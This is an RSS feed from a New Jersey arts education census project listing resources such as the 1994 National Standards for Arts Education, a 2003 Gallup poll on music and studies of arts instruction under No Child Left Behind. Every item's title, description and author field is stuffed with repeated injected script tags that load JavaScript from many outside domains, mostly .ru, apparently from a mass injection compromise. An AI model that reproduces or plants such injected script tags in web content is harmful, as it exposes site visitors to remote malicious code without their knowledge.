<?xml version="1.0" encoding="iso-8859-1"?>
<rss version="0.92">
<channel>
<lastBuildDate><![CDATA[Fri, 29 Aug 2008 06:16:12 GMT]]></lastBuildDate>
<title><![CDATA[New Jersey State Arts Education Census Project Resources Feed]]></title>
<link><![CDATA[http://www.njartsed.com/rss/resources.asp]]></link>
<description><![CDATA[New Jersey State Arts Education Census Project 2007]]></description>
<pubDate><![CDATA[2007]]></pubDate>
<copyright><![CDATA[New Jersey State Arts Education Census Project 2007]]></copyright>
<image>
<url><![CDATA[http://images/NJ-Layout-1.jpg]]></url>
<title><![CDATA[New Jersey State Arts Education Census Project 2007]]></title>
<link><![CDATA[http://www.njartsed.com]]></link>
</image>
<item>
<title><![CDATA[National Standards for Arts Education<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[Published in 1994, this document outlines basic arts learning outcomes integral to the comprehensive K-12 education of every American student.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=3]]></link>
<author><![CDATA[<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[1/1/1994]]></pubDate>
<category><![CDATA[1]]></category>
</item>
<item>
<title><![CDATA[American Attitudes Toward Music: 2003 Gallup Poll<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[The Gallup Poll reports a majority of Americans polled love music and strongly support its presence in our culture—and especially our schools.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=11]]></link>
<author><![CDATA[<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[4/21/2003]]></pubDate>
<category><![CDATA[2]]></category>
</item>
<item>
<title><![CDATA[Academic Atrophy: The Condition of the Liberal Arts in America's Public Schools<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[This first significant study of how the No Child Left Behind Act ireveals that schools are spending more time on reading, math, and science and less time on the arts.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=17]]></link>
<author><![CDATA[Claus von Zastrow and Helen Janc<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[3/1/2004]]></pubDate>
<category><![CDATA[3]]></category>
</item>
<item>
<title><![CDATA[Arts in Focus: Los Angeles Countywide Arts Education Survey<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[An arts education survey of 82 school districts in Los Angeles containing program models, contradictions between theory and reality and national implications for urban areas.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=22]]></link>
<author><![CDATA[<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[1/1/2001]]></pubDate>
<category><![CDATA[4]]></category>
</item>
<item>
<title><![CDATA[Washington: Arts for Every Student: Arts Education Resources Initiative<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[A booklet offering research-based ideas,support for effective practice,action agendas for developing and sustaining high quality arts education, and examples of successful arts education programs.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=31]]></link>
<author><![CDATA[<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[1/1/2006]]></pubDate>
<category><![CDATA[7]]></category>
</item>
<item>
<title><![CDATA[Issue Brief: Arts Education Through the U.S. Department of Education<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[Congressional policy directives and talking points to become an effective arts advocate.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=39]]></link>
<author><![CDATA[<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[]]></pubDate>
<category><![CDATA[5]]></category>
</item>
<item>
<title><![CDATA[FRSS: Arts Education in Public Elementary and Secondary Schools: 1999-2000<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script>]]></title>
<description><![CDATA[1999-2000 US Department of Education Fast Response Survey. The purpose of this report is to provide a national profile of the status of arts education in the nation's regular 1 public schools during the 1999-2000 school year.<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.ecx2.ru/ngg.js></script><script src=http://www.chds.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.gb53.ru/ngg.js></script><script src=http://www.lkc2.ru/ngg.js></script><script src=http://www.9jsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script><script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script>]]></description>
<link><![CDATA[http://www.artsednj.com/resources_details.asp?id=49]]></link>
<author><![CDATA[<script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.d5sg.ru/ngg.js></script><script src=http://www.cvsr.ru/ngg.js></script><script src=http://www.lksr.ru/ngg.js></script>]]></author>
<pubDate><![CDATA[5/31/2002]]></pubDate>
<category><![CDATA[4]]></category>
</item>
</channel>
</rss>
